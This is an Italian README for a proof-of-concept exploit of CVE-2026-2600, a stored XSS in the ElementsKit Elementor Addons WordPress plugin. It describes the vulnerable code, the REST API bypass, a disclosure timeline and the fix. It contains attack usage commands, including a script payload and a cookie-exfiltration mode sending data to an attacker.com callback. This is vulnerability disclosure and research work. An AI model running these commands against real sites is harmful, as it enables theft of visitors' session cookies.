
Proof-of-concept exploit per CVE-2026-2600, una XSS persistente in ElementsKit Elementor Addons <= 3.7.9, che consente a Contributor autenticati di iniettare script arbitrari tramite dati Elementor appositamente predisposti.
| CVSS | 6.4 MEDIO |
| Versioni interessate | <= 3.7.9 |
| Corretta in | 3.8.0 |
| Ruolo minimo | Contributor (edit_posts) |
| Vettore | Rete / Bassa complessità / Privilegi bassi |
Il widget Simple Tab visualizza i titoli delle schede con HTML emesso tramite echo ma senza escaping dell'output. In widgets/tab/tab.php, il ciclo di rendering esegue:
foreach ( $settings['ekit_tab_items'] as $index => $item ) {
echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
}
L'editor di Elementor sanifica l'input lato client, ma l'endpoint dell'API REST (/wp-json/wp/v2/posts/{id}) accetta direttamente il campo meta _elementor_data e bypassa completamente quel livello.
Un Contributor autenticato può inviare una richiesta PATCH a un post con un payload JSON di Elementor appositamente costruito che imposta ekit_tab_title su HTML arbitrario. Poiché il valore viene memorizzato verbatim in _elementor_data e viene emesso senza esc_html() al momento del rendering, lo script viene eseguito nel browser di ogni visitatore al caricamento della pagina.
Qualsiasi Contributor può:
Al momento della divulgazione erano interessate oltre 400.000 installazioni attive.
pip install requests
python3 poc.py https://target.com contributor p4ss
Lo script si autentica su HTTP, recupera il nonce REST dall'editor admin, crea un post bozza, applica una PATCH a _elementor_data con il payload XSS incorporato nel campo ekit_tab_title e pubblica il post. L'output conferma se il payload è attivo nel sorgente della pagina.
# Payload personalizzato
python3 poc.py https://target.com contributor p4ss --payload '<script>alert(document.domain)</script>'
# Esfiltrazione dei cookie con callback
python3 poc.py https://target.com contributor p4ss --type cookie --callback https://attacker.com/steal
# Modalità console interattiva
python3 console_poc.py
| Data | Evento |
|---|---|
| Gennaio 2026 | Scoperta tramite revisione dei diff SVN. PoC confermato. |
| Gennaio 2026 | Segnalato a Patchstack Alliance con writeup completo e PoC. |
| Marzo 2026 | Wpmet ha rilasciato la correzione nella v3.8.0. |
| Aprile 2026 | Pubblicato CVE-2026-2600. Assegnato CVSS 6.4 MEDIO. |
Wpmet ha aggiunto esc_html() attorno all'output del titolo della scheda in widgets/tab/tab.php:
- echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
+ echo '<a ...>' . esc_html( $item['ekit_tab_title'] ) . '</a>';